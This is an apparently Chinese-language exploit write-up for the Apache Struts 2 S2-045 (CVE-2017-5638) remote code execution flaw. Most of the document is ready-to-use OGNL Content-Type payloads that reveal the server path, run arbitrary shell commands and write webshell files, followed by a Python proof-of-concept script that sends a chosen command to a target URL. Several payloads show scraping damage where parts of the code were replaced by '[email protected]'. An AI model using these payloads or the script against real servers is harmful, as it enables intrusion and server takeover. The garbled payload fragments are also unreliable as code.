(CVE-2017-5638)S2-045
一、漏洞简介
Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。
实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。
二、漏洞影响
Struts 2.3.5 -- Struts 2.3.31
Struts 2.5 -- Struts 2.5.10
三、复现过程
获取web相关信息exp
自己构造版本 优化前(并不适用2.5.10,但执行一次优化版本后就适用了):
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#wmres=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#wmres.getWriter().print("S2-045 dir--***")).(#wmreq=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#wmres.getWriter().println(#wmreq.getSession().getServletContext().getRealPath("/"))).(#wmres.getWriter().flush()).(#wmres.getWriter().close())}.multipart/form-data
自己构造版本 优化后(遇到个xxxx 貌似不适用。我擦):
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#_memberAccess))).(#wmres=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#wmres.getWriter().print("S2-045 dir--***")).(#wmreq=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#wmres.getWriter().println(#wmreq.getSession().getServletContext().getRealPath("/"))).(#wmres.getWriter().flush()).(#wmres.getWriter().close())}.multipart/form-data
网上别人的版本
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.write(#path.getBytes())).(#ros.flush())}.multipart/form-data
执行命令
网上公开修改版本:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#wm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#wm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data
上传文件getshell
自己构造版本(并不适用2.5.10):
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#res=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#res.getWriter().print("OK")).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#res.getWriter().flush()).(#res.getWriter().close()).(new java.io.BufferedWriter(new java.io.FileWriter("/1111/")).append(new java.net.URLDecoder().decode("shell",'UTF-8')).close())}.multipart/form-data
实用度高的版本无限制长度getshell版本(并不适用2.5.10)
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#bf=new java.io.BufferedWriter(new java.io.FileWriter("C:\\1.txt"))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),#bf)).(#bf.flush()).(#bf.close()).(#res=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#res.getWriter().print("OK")).(#res.getWriter().flush()).(#res.getWriter().close())}.multipart/form-data
注意:无限制长度版本是因为Content-Type长度有限,它将post数据包里面所有的数据都写进指定路径文件里面。
poc
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
if len(sys.argv) < 3:
print '''Usage: poc.py http://www.0-sec.org/example/HelloWorld.action "command"'''
sys.exit()
register_openers()
datagen, header = multipart_encode({"image": open("tmp.txt", "w+")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+str(sys.argv[2])+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()